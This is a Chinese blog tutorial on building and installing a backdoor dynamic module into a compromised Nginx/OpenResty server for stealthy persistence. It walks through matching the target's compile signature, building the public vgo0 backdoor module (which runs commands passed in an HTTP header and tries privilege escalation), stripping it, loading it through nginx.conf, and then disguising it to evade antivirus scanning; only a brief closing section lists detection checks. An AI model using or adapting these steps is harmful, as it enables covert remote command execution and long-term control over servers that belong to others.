vlambda博客
学习文章列表

Nginx后门模块的编译和使用




Nginx 1.9.11开始支持动态模块

参考文章如下:

https://www.nginx.com/blog/compiling-dynamic-modules-nginx-plus

我们在本地编译自己的模块代码,将编译好的二进制模块文件放入目标运行环境,并在nginx.conf文件中引用,即可达到持久化控制的目的。

Nginx后门模块的编译和使用


适用环境:当拿到目标Nginx服务器较高权限时,可以使用添加后门动态模块的方式进行持久化控制,这样可以免去webshell、计划任务、或者端口复用等容易被发现的方式。




1

搭建编译环境


这里实现针对openresty的nginx后门编译,如果需要单独nginx则只需要下载编译nginx的源码即可。


1. 新建一个文件夹,将openresty的目标版本源码下载到文件夹中:

https://openresty.org/download/openresty-1.19.9.1.tar.gz

(这里的版本号替换成目标相同的,官网未展示的也可以)然后解压:

Nginx后门模块的编译和使用


2. 在文件夹中新建一个Dockerfile,内容为:

FROM centos:centos7 # 指定centos7镜像,这里根据目标的版本变更COPY openresty-1.19.3.1 /home/openresty-1.19.3.1# 将当前文件夹下的源码包复制到docker中RUN yum -y install perl readline-devel pcre pcre-devel openssl openssl-devel gcc curl GeoIP-devel wget# 安装编译所需依赖RUN cd /home/openresty-1.19.3.1 && chmod +x configure && ./configure --with-luajit --with-pcre --with-http_gzip_static_module --with-http_realip_module --with-http_geoip_module --with-http_ssl_module --with-http_stub_status_module \&& make && make install# 编译openrestyENV NGINX_HOME=/usr/local/openresty/nginx# 设置nginx环境变量ENV PATH $NGINX_HOME/sbin:$PATH# 将nginx环境变量加入PATH中EXPOSE 80# 暴露80端口


3. 在文件夹中执行

docker build -t openresty:build . #注意最后有一个点!

docker会自动进行构建:

Nginx后门模块的编译和使用

成功完成后,openresty的基础编译环境就有了。


4. 在目标环境中运行nginx -V,查看他nginx的编译选项:

Nginx后门模块的编译和使用

做这步的原因在于,nginx加入动态模块时会检查模块签名,也就是检查模块编译时的configure argument和nginx编译时的是否相同,如果不相同nginx会报错。将configure argument: 后面的这一长串复制出来,我们后面简写为${V}


5. 进入我们刚才构建的docker中,cd到openresty的nginx源码文件夹下执行编译命令:

cd /home/openresty-1.19.3.1/bundle/nginx-1.19.3/chmod +x configure./configure ${V}make && make install

代码中的${V}就是我们刚才获得的目标编译参数。这里我们一般会碰到找不到LuaJIT的问题

Nginx后门模块的编译和使用

我们手动把LuaJIT加入PATH中:

export LUAJIT_INC=/usr/local/include/luajit-2.1export LUAJIT_LIB=/usr/local/lib

再次执行编译,又报错:

Nginx后门模块的编译和使用

百度一下,把缺少的依赖装上:

yum -y install libxml2 libxml2-dev libxslt-devel

再次编译,双报错:

Nginx后门模块的编译和使用

继续装:

yum -y install gd gd-devel

再次编译:

Nginx后门模块的编译和使用

成功!如果叒报错,可能你的目标还有其他依赖,像上面一样百度-安装即可解决,百度不到就股沟。



2

编译后门


现在我们就可以在目标相同的编译签名下编译我们的动态模块了。Github上有大神现成的示例项目:

https://github.com/vgo0/nginx-backdoor

下载代码之后解压。我们需要的只有config和

ngx_http_secure_headers_module.c两个文件。

(readme.md你要想看那更好了)

Nginx后门模块的编译和使用

这里简单解释一下这两个文件的作用:nginx的模块进行编译时,需要一个config文件作为编译配置文件,可以打开文件查看里面的内容:

Nginx后门模块的编译和使用

内容比较清晰,最重要的在第四行的ngx_module_srcs配置,这一步指定了源码文件,也就是我们下载的另一个.c文件。

再来看一下ngx_http_secure_headers_module.c文件中的代码:

Nginx后门模块的编译和使用

Nginx后门模块的编译和使用

比较简单,通俗易懂(?),看个大概也能看出来,此模块会检查header中是否有名为vgo0的header,如果有则拼接到命令中执行,同时会尝试提权。

我们将项目的nginx-backdoor文件夹放入tmp下,在我们上面的一大长串编译指令的末尾加上"--add-dynamic-module=/tmp/nginx-backdoor":

./configure ${V} --add-dynamic-module=/tmp/nginx-backdoor

注意前面的参数要和目标环境中的一致。configure完成后我们编译模块:

make modules

会在当前文件夹下的objs/文件夹下面生成ngx_http_secure_headers_module.so文件,执行:

strip -s objs/ngx_http_secure_headers_module.so



3

插入目标环境


将文件ngx_http_secure_headers_module.so拷贝到目标机器nginxmodules目录下,修改目标nginx总配置文件nginx.conf,在最外层代码层添加:

load_module modules/ngx_http_secure_headers_module.so

重启目标nginx即可生效:

Nginx后门模块的编译和使用



4

利用建议


虽然在默认配置下各平台扫描结果为良性,但是在实际利用时建议修改后门默认配置字符串。这里作为公开代码且命令传输时未加密,很容易被识别,实战中则需要根据需求改写,修改成其他名称或加密方式,或者添加到cookie中进行隐蔽,甚至不使用header而利用其他位置。


建议修改位置:

Nginx后门模块的编译和使用


后门默认配置下扫描结果:


河马扫描结果

Nginx后门模块的编译和使用


vt扫描结果




5

简单排查方法


排查手段(仅讨论后门默认配置):

  1. 检查nginx的配置文件是否有改动

  2. 检查nginx引用的modules二进制文件中是否有可疑字符串(vgo0、chmod、/bin/sh等)